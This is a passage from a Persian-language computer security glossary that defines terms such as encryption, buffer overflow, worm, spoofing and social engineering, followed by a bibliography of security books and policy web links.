دیوارهٔ آتش در سطح شبکه[۴۱۲]

دیوارهٔ آتشی که در آن ترافیک در سطح بسته‌های پروتکلِ شبکه بررسی می‌شوند.

رمزشکن رمز عبور[۴۱۳]

یک برنامهٔ نرم‌افزاری شامل فرهنگهای لغات کامل که سعی در یافتن رمزهای عبور کاربران دارد.

رمز عبور[۴۱۴]

یک کد مخفی که به هر کاربر (یا شاید بهتر باشد بگوییم به هر نام کاربری) اختصاص داده می‌شود و سیستم از آن مطلع است. دانستن شناسهٔ کاربری و رمز عبور معمولاً به تصدیق هویت و تأیید اعتبار برای دسترسی به منابع سیستم منجر می‌شود.

رمزگذاری[۴۱۵]

فرآیند پنهان کردن محتویات فایلها و برنامه‌ها و تغییر یک رشته از حروف به یک رشتهٔ دیگر با استفاده از یک الگوریتم (مثل الگوریتم DES). رمزگذاری راهی است برای اختفای اطلاعات بگونه‌ای بسادگی خوانده نشود، مگر توسط دریافت‌کنندگان مورد نظر. در ساده‌ترین نوع رمزگذاری، یک "کلید" وجود دارد که برای اختفای اطلاعات از آن استفاده می‌شود. اطلاعات رمزگذاری‌شده تنها پس از رمزگشایی می‌توانند خوانده شوند، و برای رمزگشایی نیز دانستن کلید صحیح ضروری است.

رمزگذاری انتها به انتها[۴۱۶]

رمزگذاری در نقطهٔ آغازین پیام در شبکه، و به دنبال آن رمزگشایی در مقصد.

رمزگشایی[۴۱۷]

تبدیل متون رمزشده به متون سادهٔ اولیه با استفاده از یک الگوریتم برای رمزگذاری و رمزگشایی متقابل.

رمزنگاری[۴۱۸]

یک شاخه از علم ریاضی که با تغییر شکل اطلاعات برای پنهان کردن معنا و مفهوم آن، جلوگیری از تغییرات مخفیانهٔ داده، و ممانعت از کاربرد غیرمجاز آن سر و کار دارد. اگر تغییر شکل برگشت‌پذیر باشد، رمزنگاری شامل تبدیل اطلاعات رمزگذاری‌شده به شکل اصلی خود نیز می‌شود.

روالهای امنیتی[۴۱۹]

مجموعه‌ای از دستورالعملها، پیکربندی‌ها، و توصیه‌های مشروح برای پیاده‌سازی سیاستهای امنیتی یک شرکت.

روالهای واکنش به رخداد[۴۲۰]

روالهای رسمی و مکتوب که گامهای لازم هنگام وقوع یک رخداد امنیتی جدی مثل ورود غیرمجاز را شرح می‌دهد. تهیه جزئیات روالهای واکنش پیش از وقوع یک رخداد، مشخصهٔ اصلی یک سیستم امنیتی با طراحی خوب است.

سرریزی buffer[۴۲۱]

یک نقص نرم‌افزاری که زمانی رخ می‌دهد که برنامه داده‌ها را به فضایی در حافظه می‌برد، اما در آن قسمت از حافظه فضای کافی برای ذخیرهٔ آن داده‌ها وجود ندارد. برنامه ممکن است برای ایجاد فضای خالی جهت داده‌ها تازه، کاراکترهایی را حذف کند. اینکار می‌تواند همهٔ انواع مشکلات را به بار آورد و معمولاً به اتفاقاتی منجر می‌شود که امنیت برنامه را خدشه‌دار می‌کنند. می‌توان پیش از انتقال هر داده به حافظه یک بررسی ساده برای اطمینان از وجود حافظهٔ کافی انجام داد و بدین ترتیب از وقوع سرریزی buffer پیشگیری کرد.

سرقت هویت[۴۲۲]

زمانی صورت می‌گیرد که شخصی اطلاعات کافی در مورد شما جمع‌آوری کرده باشد و بتواند برای اشخاص حقوقی

---

412 Network-Level Firewall
413 Password Cracker
414 Password
415 Encryption
416 End-to-End Encryption

417 Decrypt
418 Cryptography
419 Security Procedures
420 Incident Response Procedures
421 Buffer Overflow
422 Identity Theft

همچون بانکها، فروشگاهها یا دولت، خود را به جای شما جا بزند.

سرویس‌دهنده[۴۲۳]

بصورت عام عبارت است از رایانهٔ کنترلگر شبکهٔ محلی، که دسترسی نرم‌افزار به ایستگاههای کاری، چاپگرها و سایر بخشهای شبکه را تحت کنترل دارد.

سرویس‌گیرنده[۴۲۴]

بصورت عام عبارت است از رایانه یا رایانه‌هایی که به یک سرویس‌دهنده در خصوص دریافت یک سرویس درخواست می‌فرستند و سرویس‌دهنده پاسخ مقتضی به آنها می‌دهد.

سلسلهٔ ممیزی[۴۲۵]

مجموعه‌ای مستند از وقایعی که راهبر امنیتی را قادر می‌کند که بتواند فعالیتهای گذشتهٔ سیستم را (روی کاغذ یا روی دیسک) بازسازی کند. در سیستمهای امنیتی رایانه، زمان ورود کاربران به سیستم، مدت‌زمانی که مشغول فعالیتهای مختلف هستند، کاری که انجام می‌دهند، و اینکه آیا تخلف تعمدی از سیاستهای امنیتی اتفاق افتاده یا نه، بترتیب زمان وقوع به ثبت می‌رسند.

سیستم جهانی ارتباطات سیار (GSM)[۴۲۶]

یک سیستم باز و غیر انحصاری است که پیوسته درحال تکامل است. گردش ماهوارهٔ GSM امکان دسترسی به این سرویس مناطقی که از طریق در پوشش زمینی ممکن نیست را فراهم آورده است.

سیستم‌عامل (OS)[۴۲۷]

یک نرم‌افزار سیستمی که رایانه و دستگاههای جانبی آنرا کنترل می‌کند. سیستم‌عاملهای جدیدتر مثل Unix، Linux، و Windows XP بسیاری از عملکردهای پایه‌ای رایانه‌ها را نیز انجام می‌دهند.

سیستم مکانیابی جهانی (GPS)[۴۲۸]

عمدتاً برای ناوبری بکار می‌رود. این سیستم ماهواره‌ای، محل دقیق مشترکان روی کرهٔ زمین را مشخص می‌سازد.

سیستم مهاجم‌یاب (IDS)[۴۲۹]

سیستمی که به یافتن رخنه‌ها یا تلاشهایی که برای رخنه صورت می‌گیرد اختصاص داده شده، و با استفاده از نرم‌افزارهای تحلیلگر که روی ثبتها یا سایر اطلاعات شبکه کار می‌کنند عمل می‌نماید.

سیاست[۴۳۰]

ضوابطی که در سطح سازمان برای استفادهٔ معقول از منابع رایانه‌ای، راهکارهای امنیتی، و روالهای عملیاتی حاکم است.

شبکهٔ خارجی[۴۳۱]

عبارت است از توسعهٔ شبکهٔ محلی از طریق دسترسی دور یا اینترنتی بگونه‌ای که شرکای خارج از سازمان مثل عرضه‌کنندگان و خریداران معمول را نیز در بر بگیرد. چنین روابطی باید از طریق ارتباطات تصدیق‌شدهٔ بخشهای مجاز شبکهٔ محلی انجام شوند و هر از چندگاه نیز برای حفظ حریم خصوصی رمزگذاری گردند.

شبکهٔ خصوصی مجازی (VPN)[۴۳۲]

یک اتصال خصوصی میان دو ماشین است که داده‌های ترافیکی خصوصی را از طریق اینترنت ارسال می‌کند. فناوری VPN سازمان را قادر می‌کند که بتواند از طریق اینترنت خدمات شبکه‌ای خود را بطور محرمانه به کاربران راه دور، دفاتر شعب، و شرکتهای همکار برساند.

شبکهٔ محلی (LAN)[۴۳۳]

یک سیستم به‌هم متصل از رایانه‌ها و ابزارهای جانبی. کاربران شبکهٔ محلی، اطلاعات یکدیگر و قابلیت ابزارهای جانبی را به‌اشتراک می‌گذارند – مثلاً می‌توانند از چاپگرهای متصل به شبکه بصورت اشتراکی استفاده کنند.

---

423 Server
424 Client
425 Audit Trail
426 Global System for Mobile Communication
427 Operating System

428 Global Positioning System
429 Intrusion Detection System
430 Policy
431 Extranet
432 Virtual Private Network
433 Local Area Network

شبکهٔ محلی بی‌سیم (WLAN)

یک شبکهٔ بی‌سیم که برای اتصال رایانه‌های کیفی یا سایر ابزارهای سیار به شبکه‌ها کاربرد دارد.

شمارهٔ هویت شخصی (PIN)[۴۳۴]

یک رشته از اعداد یا حروف که برای تصدیق هویت یک کاربر برای یک سیستم یا سرویس بکار می‌رود. شمارهٔ هویت شخصی مشابه رمز عبور است اما عموماً مربوط به معاملات مالی (حسابهای بانکی یا کارتهای اعتباری) یا دسترسی فیزیکی به یک مکان می‌باشد.

شناسایی[۴۳۵]

شناخت کاربران یک سیستم از طریق نامهای کاربری یکتا.

شناسایی کاربر[۴۳۶]

فرآیندی که کاربر توسط آن خود را بعنوان یک کاربر معتبر به سیستم معرفی می‌کند. شناسایی کاربر با تصدیق هویت – که طی آن مشخص می‌شود کاربر همان کسی است که خودش ادعا می‌کند و حق استفاده از آن سیستم را نیز دارد – نیست.

شناسهٔ کاربری[۴۳۷]

یک رشته حروف یکتا که هر کاربر را به سیستم می‌شناساند.

شنود رمز عبور[۴۳۸]

استراق‌سمع مخفیانه، معمولاً روی یک شبکهٔ محلی، برای فهمیدن رمزهای عبور.

طرح اقتضایی[۴۳۹]

یک طرح امنیتی برای اطمینان از اینکه منابع مهم رایانه‌ای درصورت وقوع حوادث ناگوار (مثل زلزله یا سیل) برای سازمان در دسترس باقی می‌مانند. این طرح شامل عملیات واکنش اضطراری، عملیات پشتیبان‌گیری، و عملیات ترمیمِ پس از حادثه می‌شود.

434 Personal Identification Number
435 Identification
436 User Identification
437 User ID
438 Password Sniffing
439 Contingency Plan

ضمیمه[۴۴۰]

ضمیمه تکنیکی است که با استفاده از آن متون و تصاویر می‌توانند از طریق پست‌الکترونیکی ارسال شوند. هر فایل غیرنوشتاری (برنامه، یا تصویر یا فیلم ویدئویی) تبدیل به یک شکل قابل چاپ می‌شود کدگذاری و در متن پیام قرار می‌گیرد. هرآنچه که در رایانه ذخیره‌شده متشکل از صفرها و یک‌ها است. در ساده‌ترین حالت، کدگذاری این صفر و یک‌ها را به حروف متن‌ساده تبدیل می‌کند.

فشرده‌سازی

روشی برای ذخیره یا انتقال حجم زیادی از متون، تصاویر، و برنامه‌ها. حتی ممکن است تمام سوابق بایگانی نیز فشرده‌سازی شود؛ و در حقیقت در تهیه نسخه‌های پشتیبان، انجام اینکار یک استاندارد است. از بایگانی‌های فشرده می‌توان به فایلهای "zip" و "tar" اشاره کرد که می‌توانند حجم زیادی از اطلاعات متفرقه را در یک قالب چگال و فشرده نگهدارند. این فایلها برای کاربرد باید از قالب فشرده خارج شوند. چند فروشنده و تعدادی نرم‌افزار رایگان برای فشرده‌سازی وجود دارند.

قابلیت اطمینان[۴۴۱]

احتمال اینکه یک سیستم بتواند وظیفهٔ خود را بطور کامل در یک بازهٔ زمانی خاص و تحت شرایط مورد انتظار به انجام رساند.

مقیاس‌پذیری[۴۴۲]

قابلیت گسترش یک راه‌حل رایانه‌ای بگونه‌ای که با کمترین تأثیر بر کارآیی، بتوان از آن برای گروه بزرگتری از کاربران استفاده کرد.

قفل‌شکن[۴۴۳]

کسی که سعی دارد بدون کسب مجوز، امنیت یک سیستم را خدشه‌دار نماید و به آن دسترسی پیدا کند. (تعریف Hacker را مورد ملاحظه قرار دهید.)

440 Attachment
441 Reliability
442 Scalability
443 Cracker

کاربر[444]
هر شخصی که مستقیماً با یک سیستم رایانه‌ای در تعامل باشد.

کارت هوشمند[445]
وسیله‌ای مشابه یک کارت اعتباری با مدار میکروالکترونیکی برای ذخیرهٔ اطلاعات در مورد یک شخص. این وسیله یک کلید یا نشان – مشابه آنچه که در فرآیند تصدیق هویت برای دسترسی از راه دور بکار می‌رود – نیست.

کدگشایی[446]
تبدیل متون کدگذاری‌شده به متون سادهٔ اولیه با استفاده از یک روش کدگذاری و کدگشایی متقابل.

کرم[447]
یک برنامهٔ رایانه‌ای که می‌تواند بطور مستقل اجرا شود، نوع کاملی از خود را روی میزبانهای دیگر شبکه تکثیر کند، منابع رایانه‌ای را بصورت مخرب مصرف نماید؛ و نهایتاً منجر به تخریب سرویس روی شبکه یا شبکه‌ها گردد.

کرم شبکه‌ای[448]
فایل دستوری یا برنامه‌ای که از یک شبکهٔ رایانه‌ای بعنوان وسیله‌ای برای تأثیرگذاری نامطلوب بر یکپارچگی و صحت، قابلیت اطمینان، و امکان دسترسی به یک سیستم استفاده می‌کند. کرم شبکه‌ای ممکن است با برقراری یک ارتباط شبکه‌ای از سیستمی به سیستم دیگر حمله کند. کرمها معمولاً برنامه‌های مستقلی هستند که برای نفوذ به شبکه‌ها نیازی ندارند که به یک فایل میزبان متصل شده باشند.

کلاهبرداری رایانه‌ای[449]
یک تخلف رایانه‌ای که طی آن مهاجم برای بدست آوردن پول، اطلاعات، یا سرمایهٔ دیگری از یک شرکت یا یک شخص حقیقی مرتکب آن می‌شود. معمولاً همهٔ انواع جرائم در این تعریف می‌گنجند. کلاهبرداری رایانه‌ای معمولاً شامل تغییر، تخریب، سرقت، و افشای اطلاعات می‌شود.

444 User
445 Smart Card
446 Decode
447 Worm
448 Network Worm
449 Computer Fraud

کلید[450]
در رمزگذاری، سلسله‌ای از حروف است که بمنظور تبدیل یک فایل به و یا از قالب رمزی بکار می‌رود. شما به دو شکل می‌توانید کلید را وارد کنید: به شکل حروف الفبا و اعداد (ارقام در مبنای ۱۶)، و یا بصورت فشرده. در بازار امنیت دسترسی به شبکه، "کلید" غالباً به "نشان" یا یک ابزار تصدیق هویت اطلاق می‌شود؛ وسیله‌ای که برای فرستادن و دریافت متقابل پرسشها و پاسخها در طول فرآیند تصدیق هویت بکار می‌رود. کلیدها ممکن است وسایل سخت‌افزای کوچک مشابه ماشین‌حسابهای جیبی یا کارتهای اعتباری باشند، و یا ممکن است روی یک رایانهٔ شخصی بعنوان یک نرم‌افزار حفاظت‌شده قرار داشته باشند.

کلید خصوصی[451]
آن جزء از یک جفت کلید رمز عمومی و خصوصی که توسط مالک آن بصورت محرمانه نگهداری می‌شود. کلید خصوصی برای رمزگشایی پیامهایی که با کلید عمومی متناظر رمزگذاری شده باشند بکار می‌رود. این کلید همچنین در ایجاد امضای دیجیتالی کاربرد دارد. برای این منظور، سندی که باید امضا شود با یک الگوریتم درهمریزی خلاصه‌سازی می‌شود، و سپس با استفاده از کلید خصوصی رمزگذاری می‌گردد. این فرآیند مجموعاً امضای دیجیتالی را تشکیل می‌دهد.

کلید عمومی[452]
آن جزء از یک جفت کلید رمز عمومی و خصوصی که همه از آن اطلاع دارند. از کلید عمومی برای رمزگذاری اطلاعاتی که قرار است تنها به یک گیرندهٔ خاص برسد، و یا رمزگشایی یک امضای دیجیتالی برای اطمینان از یکپارچگی و صحت پیام استفاده می‌شود.

کنترل
عملیات امنیتی یک شرکت، که آنرا برای کاهش مخاطرهٔ افشای اطلاعات خود بکار می‌بندد.

450 Key
451 Private Key
452 Public Key

کنترل دسترسی[۴۵۳]

مجموعه‌ای از روالها که توسط نرم‌افزار، سخت‌افزار، و راهبران برای نظارت بر دسترسی، شناسایی کاربران متقاضی دسترسی، ضبط تلاشهای ورود به سیستم، و اعطا یا سلب دسترسی انجام می‌شود. سیاستهای امنیتی و کنترلهای دسترسی باید با یکدیگر هماهنگ باشند تا از کاربرد غیرمجاز هریک از منابع سیستمی توسط عوامل خارجی (مهاجمان) و یا عوامل داخلی (کارمندانی که نباید دسترسی داشته باشد) جلوگیری شود.

گمراه‌سازی[۴۵۴]

بدست آوردن دسترسی به یک سیستم از طریق تغییر چهره بعنوان یک کاربر مجاز.

گمراه‌سازی سرویس‌دهندهٔ نام دامنه[۴۵۵]

به حالتی گفته می‌شود که یک رایانه – با تخریب آن قسمت از حافظهٔ نهان که مربوط به سرویس‌دهندهٔ نام می‌شود، و یا تسخیر یک سرویس‌دهندهٔ نام برای یک دامنهٔ معتبر – خود را بجای سرویس‌دهندهٔ نام دامنه جا می‌زند.

مجوز[۴۵۶]

عملیات مجازی (خواندن، نوشتن، اصلاح و حذف) که شخص می‌تواند آنها را روی یک هدف (مثلاً مجموعه‌ای از فایلها) انجام دهد.

محرمانگی[۴۵۷]

اطمینان از اینکه داده‌های حساس تنها در اختیار افراد یا گروههای خاصی (از داخل یا خارج سازمان) قرار دارند. میزان محرمانگی اطلاعات بسته به درجهٔ حفاظتی است که سازمان برای آن اطلاعات قرار داده است.

محیط

مجموعهٔ موقعیتها، شرایط، و عوامل بیرونی که بر توسعه، عملکرد، و نگهداری سیستم تأثیر می‌گذارند.

453 Access Control
454 Spoof
455 Domain Name Server Spoofing
456 Permissions
457 Confidentiality

مخاطره[۴۵۸]

احتمال اینکه یک آسیب‌پذیری خاص سیستم تصادفاً یا تعمداً مورد بهره‌برداری قرار بگیرد.

مقابله با خطر[۴۵۹]

عملیاتی که یک شرکت برای کاهش تهدیدات یک سیستم اتخاذ می‌کند. مقابله با خطر می‌تواند تهیه و بکارگیری یک ابزار سخت‌افزای، بستهٔ نرم‌افزاری، و یا یک روال انجام کار باشد.

ممیزی[۴۶۰]

جمع‌آوری اطلاعات ذخیره‌شدهٔ مستقل برای بررسی و اطمینان از یکپارچگی و صحت آنها.

ممیزی امنیتی[۴۶۱]

بازبینی مستقل و حرفه‌ای امنیت که تطبیق کنترلهای امنیتی شرکت با استانداردهای موجود را بررسی می‌کند. طبق نتیجهٔ این بازبینی، حسابرس قادر خواهد بود تغییرات لازم در مورد کنترلها، سیاستها، و روالهای امنیتی را نیز پیشنهاد کند.

مهاجم[۴۶۲]

موجودی که بدون مجوز به سیستم یا منابع سیستمی دسترسی پیدا می‌کند و یا برای بدست‌آوردن دسترسی تلاش می‌کند.

مهندسی اجتماعی[۴۶۳]

حمله‌ای که بر اساس فریب کاربران یا راهبران ادارهٔ هدف انجام می‌گیرد. حملات مهندسی اجتماعی معمولاً از طریق تلفن زدن به کاربران و تظاهر مهاجم به اینکه یک کاربر مجاز سیستم است انجام می‌گیرد.

458 Risk
459 Countermeasure
460 Audit
461 Security Audit
462 Intruder
463 Social Engineering

انعطاف در مقابل خطا[٤٦٤]

یک شیوهٔ طراحی که هنگام بروز خطاهای فردی با ایجاد عناصر تکراری در سیستم، عملکرد مداوم سیستم را تضمین می‌کند.

نام کاربری و رمز عبور[٤٦٥]

یک نام و یک رمز محرمانه که کاربر را به یک سیستم رایانه‌ای یا پایگاه وب معرفی می‌کند. یک روش سنتی و جا افتاده برای تصدیق هویت کاربران.

نرم‌افزارهای متن‌باز[٤٦٦]

برنامه‌هایی که متن آنها تحت شرایطی توزیع می‌شود که هرگونه اصلاح و توزیع رایگان آن امکانپذیر است. از آنجا که متن برنامه در دسترس است، افراد می‌توانند ببینند که آن برنامه چگونه کار می‌کند و خواهند توانست آنرا تغییر دهند. نویسندگان برنامه‌های متن‌باز غالباً سایر برنامه‌نویسان را برای مشارکت در توسعه‌های بعدی برنامه‌ها تشویق می‌کنند. نرم‌افزارهای متن‌باز همچنین شامل نرم‌افزارهایی هستند که بطور رایگان عرضه می‌شوند، و بسیاری از برنامه‌های متن‌باز – چه فروشی و چه رایگان – قابلیتهایی دارند که شبیه برنامه‌های انحصاری است و ممکن است هزینهٔ اندکی نیز داشته باشند. گاهی اوقات برنامه‌های متن‌باز تحت موافقتنامه‌های مخصوصی در قسمتهایی از برنامه‌های انحصاری بکار می‌روند. برای اطلاعات بیشتر می‌توانید به پایاگاههای *www.opensource.org* و *www.fsf.org* رجوع کنید.

نسخهٔ پشتیبان[٤٦٧]

روند نسخه‌برداری از فایلهای رایانه‌ای در مکانهای دیگر روی رایانه و یا ابزارهای ذخیره‌سازی که ممکن است از رایانه مجزا باشند. نسخه‌های پشتیبان شما را قادر می‌کنند هنگام خرابی نسخه‌های اصلی بدلایل مختلف(از حذف تصادفی داده‌ها گرفته تا آسیب فیزیکی و یا دزدی رایانه‌ها)، همچنان بتوانید داده‌ها را بازیابی نمایید.

464 Fault Tolerant
465 Username / Password
466 Open-Source Software
467 Backup

نشان[٤٦٨]

عامل اصلی اعتماد در طول فرآیند تصدیق هویت کاربران. نشانها ممکن است ابزارهای کوچکی مثل تراشه‌های جیبی و یا کارتهای اعتباری باشند.

نشان ویروس[٤٦٩]

علائم مشخصهٔ یک ویروس که توسط فروشندگان خدمات امنیتی نرم‌افزار، ردیابی و با آنها مبارزه می‌شود. فعالترین فروشندگان نرم‌افزار از جمله McAfee، Norton (خصوصاً ابزارهای امنیتی آنها شامل ضدویروس و دیوارهٔ آتش) و مایکروسافت که در جهت تأمین امنیت در سیستمها و برنامه‌هایش تلاش می‌کند، بصورت متناوب برای این منظور وصله‌های امنیتی منتشر می‌کنند.

نفوذ[٤٧٠]

دسترسی موفق، قابل تکرار، و غیرمجاز به منابع حفاظت‌شدهٔ سیستم.

نقطهٔ تماس (POC)[٤٧١]

شخص یا اشخاصی که کاربران یا راهبران سیستم بلافاصله باید گزارش رخنه‌ها یا موارد مشکوک را به آنها بدهند. نقطهٔ اتصال معادل خط اظطراری ۹۱۱ در سیستمهای اطلاعاتی است.

نگهداری از ثبتها[٤٧٢]

اینکه چه مدت‌زمانی از ثبتها نگهداری و پشتیبانی خواهد شد.

واسط کاربری[٤٧٣]

آن قسمت از برنامه‌های کاربردی که کاربران مستقیماً با آن سر و کار دارند. واسطهای کاربری می‌توانند بصورت متنی باشند، مثل آنچه در DOS وجود دارد، و یا گرافیکی باشند، مثل واسطهای کاربری موجود در Microsoft Windows.

468 Token
469 Virus Signature
470 Penetration
471 Point of Contact
472 Log Retention
473 User Interface

ویروس[۴۷۴]

قطعه‌برنامه‌ای که داخل یک برنامهٔ رایانه‌ای جاسازی می‌شود. زمانیکه برنامه به اجرا در آید، قطعه‌برنامهٔ آلوده هم فعال می‌شود. همینکه یک ویروس فعال شد، خواهد توانست خود را تکثیر کند، پیام بفرستد، داده‌ها را تخریب کند، و کارآیی سیستم را پایین بیاورد.

هرزنامه[۴۷۵]

عبارت است از نامه‌های الکترونیکی درخواست‌نشده، ناخواسته، نامربوط، و یا نامناسب؛ خصوصاً نامه‌های تجاری و تبلیغاتی در تعداد زیاد است.

هزینهٔ کل مالکیت (TCO)[۴۷۶]

مدلی که به متخصصان فناوری اطلاعات در درک و ادارهٔ هزینه‌های مستقیم و غیرمستقیمی که با کسب، نگهداری، و استفاده از یک سیستم کاربردی یا رایانه‌ای به بار می‌آید کمک می‌کند. TCO معمولاً شامل هزینه‌های آموزش، ارتقاها، و همچنین هزینهٔ اصلی سفارش اولیه نیز می‌شود.

یکپارچگی و صحت داده‌ها[۴۷۷]

اطمینان از اینکه داده‌های یک سازمان در معرض تغییر یا تخریب تصادفی یا تعمدی (درنتیجهٔ اعمال خرابکارانه) قرار نگرفته است.

802.11

802.11 مجموعه‌ای از استانداردهای درحال توسعهٔ *مؤسسه مهندسان برق و الکترونیک* (IEEE)[۴۷۸] برای *شبکه‌های بی‌سیم محلی* (WLANs)[۴۷۹] است. IEEE سازمانی است که در بخشهای مختلف حوزهٔ برق و الکترونیک استاندارد تدوین می‌کند و استانداردهای آن معمولاً تبدیل به استانداردهای ملی و بین‌المللی می‌شوند. این سازمان تعدادی مجله منتشر می‌کند، شاخه‌های محلی زیادی در قسمتهای مختلف دنیا دارد، و دارای جوامع بزرگ بسیاری در محدوده‌های تخصصی می‌باشد، مثل جامعهٔ رایانه‌ایِ IEEE. برای اطلاعات بیشتر در مورد IEEE و جامعهٔ رایانه‌ای آن می‌توانید به پایگاههای زیر مراجعه کنید:

http://standard.ieee.org
http://www.computer.org

Cookie

یک فایل که به درخواست یک پایگاه وب راه دور روی دیسک سخت رایانهٔ شما نوشته و یا از روی آن خوانده می‌شود. پایگاه وب درخواست می‌کند که فایل نوشته شود و در دفعات بعد مجدداً محتویات آنرا می‌خواند. مثلاً اگر به پایگاه وب نام کاربری خود بدهید، می‌تواند درخواست کند که آن اطلاعات روی دیسک شما نوشته شود. زمانیکه دوباره به آن پایگاه وب مراجعه می‌کنید، آن پایگاه cookie مربوطه را از روی دیسک رایانهٔ شما می‌خواند و متوجه می‌شود که نام کاربری شما چه بوده است. Cookieها برای تهیهٔ سابقه‌ای از عادتهای گردش در وب بکار گرفته می‌شوند و در بعضی موارد ممکن است حریم خصوصی کاربران را نقض کنند.

IETF[۴۸۰]

یک انجمن عمومی که استانداردها را تدوین می‌کند و نگرانیهای روزمرهٔ اینترنت را رفع می‌نماید.

Hack

در کل به معنای نوشتن برنامهٔ رایانه‌ای است؛ اما در متون امنیتی معمولاً برای بهره‌برداری از آسیب‌پذیریهای سیستم جهت دسترسی غیرمجاز به منابع سیستمی بکار می‌رود.

Hacker

شخصی که علاقمند به رایانه است و از کسب تجربه با آن لذت می‌برد. این واژه همچنین به کسی که با قصد بد اقدام به جمع‌آوری اطلاعات نقایص امنیتی رایانه می‌کند و بدون مجوز صاحب سیستم وارد آن می‌شود نیز اطلاق می‌گردد. واژهٔ "قفل‌شکن" برای معنای صرفاً منفی این عبارت مناسبتر است. (به توضیحات واژهٔ قفل‌شکن مراجعه کنید.)

HTML[۴۸۱]

به مرورگر وب یا برنامهٔ پست الکترونیکی می‌گوید که چگونه متون و تصاویر را نمایش دهند و یا به آنها دستورالعملهای

474 Virus
475 Spam
476 Total Cost of Ownership
477 Data Integrity
478 Institution of Electrical and Electronics Engineers
479 Wireless Local Area Networks

480 Internet Engineering Task Force
481 Hyper Text Mark-up Language

دیگری بدهد. در یک چنین زبانی دستورات و دستورالعملهای درون متن به نمایش در می‌آیند و چاپ می‌شوند. نمونه‌ای از یک دستور در این زبانها مشابه زیر است:

```
This sentence is <<Start Bold>>very<<End Bold>> short.
```

زمانی که این جمله نمایش داده می‌شود، کلمات میان <<>> بعنوان دستورالعمل درنظر گرفته می‌شوند. درنتیجه جمله بصورت زیر به نمایش در خواهد آمد:

This Sentence is **very** short.

Salami Slice

یک روش سرقت رایانه‌ای برای بدست آوردن سرمایه. در این روش یک پایگاه دادهٔ حسابهای بانکی تسخیر می‌شود، و سپس مبلغ ناچیزی از هر حساب اعتبار کم می‌گردد تا چیزی مشکوک بنظر نیاید، و مجموع اعتبارات کاسته‌شده همگی به یک حساب خاص واریز می‌شوند.

URL[۴۸۲]

یک آدرس کلی برای تعیین محل چیزی روی اینترنت. مثلاً:

http://www.infodev.org
mailto:infodev@worldbank.org

482 Universal Resource Locator

پیوست ۲
کتابنامه

این پیوست شامل منابعی است که برای نگارش متن اصلی کتاب مورد استفاده قرار گرفته‌اند. برای آشنایی با منابع بیشتر می‌توانید به پیوستهای ۳ و ۴ و ۵ مراجعه کنید.

Practical Unix & Internet Security, by Simson Garfinkel, Gene Spafford, and Alan Schwartz (O'Reilly & Associates, Inc.: CA, 2003)

Web Security, Privacy & Commerce, by Simson Garfinkel with Gene Spafford (O'Reilly & Associates, Inc.: CA, 2002)

IT Security: Risking the Corporation, by Linda McCarthy, Forward by Gene Spafford (Prentice Hall PTR: NJ, 2003)

بخش اول

پایگاه وب بنیاد سیاستگذاری جهانی:
http://www.markle.org/globalpolicy/index.html
شامل برنامهٔ *کمیتهٔ کاری فرصتهای دیجیتالی* (DOT)[۴۸۳] و *مطالعات لودر وویسز*[۴۸۴].

گزارشهای کمیتهٔ کاری فرصتهای دیجیتالی:
http://www.dotforce.org/teams
که شامل اطلاعاتی در زمینهٔ استراتژیهای الکترونیکی هم می‌شود:
http://www.dotforce.org/reports/documents/65/E-Strategies_e.pdf

همچنین می‌توانید به شبکهٔ منابع توسعهٔ الکترونیکی بین‌المللی مراجعه نمایید:
http://www.dotforce.org/teams/IeDRNBusinessPlan.ppt

رهنمودهای دولت برای توسعهٔ جامعه اطلاعاتی:
http://www.innovazione.gov.it/eng/documenti/linee_guida_eng.shtml

پایگاه تجارت الکترونیکی *سازمان همکاری و توسعهٔ اقتصادی* (OECD)[۴۸۵]:
http://www.oecd.org/EN/home/0,,EN-home-29-nodirectorate-no-no-no-29,00.html

صفحهٔ وب مطالعات گسترش تجارت الکترونیکی OECD (۲۰۰۲):
http://www.oecd.org/EN/home/0,,EN-document-273-nodirectorate-no-15-36384-29,00.html

صفحهٔ وب دولت الکترونیکی OECD:
http://www.oecd.org/EN/about/0,,EN-about-301-nedirectorate-no-no-no-13,00.html

صفحهٔ وب سیاست فناوری اطلاعات و ارتباطات OECD:
http://www.oecd.org/EN/about/0,,EN-home-40-nedirectorate-no-no-no-29,00.html.

پایگاه وب گروه پیشگامان جهانی سیاستهای اینترنت:
http://www.gipiproject.org/

پایگاه وب مرکز فناوری و دموکراسی:
http://www.cdt.org

و همچنین صفحاتی از راهنمای جامع دولت الکترونیکی که با همکاری infodev بوجود آمده است:
http://www.cdt.org/egov/handbook

از متون پی‌نوشتهای بخش اول:
http://www.dotforce.org/about/

پیش‌نویس بیانیهٔ اصول، اجلاس جهانی سران جامعهٔ اطلاعاتی، سند WSIS03/PCIP/DT/4(Rev.3)-E، مربوط به کمیتهٔ DOT.

Moore, Paxson, Savage, Shannon, Staniford and Weaver, Inside the Slammer Worm, *IEEE Security and Privacy*, Vol. 1, No. 4, July/August 2003, pp. 33-39

483 Digital Opportunity Task Force
484 Louder Voices Study

485 Organization for Economic Cooperation and Development

بخش دوم

IEEE سازمانی است که در بخشهای مختلف حوزهٔ برق و الکترونیک استاندارد تدوین می‌کند و که استانداردهای آن معمولاً تبدیل به استانداردهای ملی و بین‌المللی می‌شوند. این سازمان تعدادی مجله منتشر می‌کند، شاخه‌های محلی زیادی در قسمتهای مختلف دنیا دارد، و دارای جوامع بزرگ بسیاری در محدوده‌های تخصصی می‌باشد، مثل جامعهٔ رایانه‌ای. برای اطلاعات بیشتر در مورد IEEE و جامعهٔ رایانه‌ای آن می‌توانید به پایگاههای زیر مراجعه کنید:

http://standard.ieee.org
http://www.computer.org

اطلاعاتی چون تعاریف و الزامات عملکرد 802.11 را می‌توانید در آدرس زیر بیابید:

http://grouper.ieee.org/groups/802/11/Documents/DocumentArchieves/1992_docs/1192091.DOC

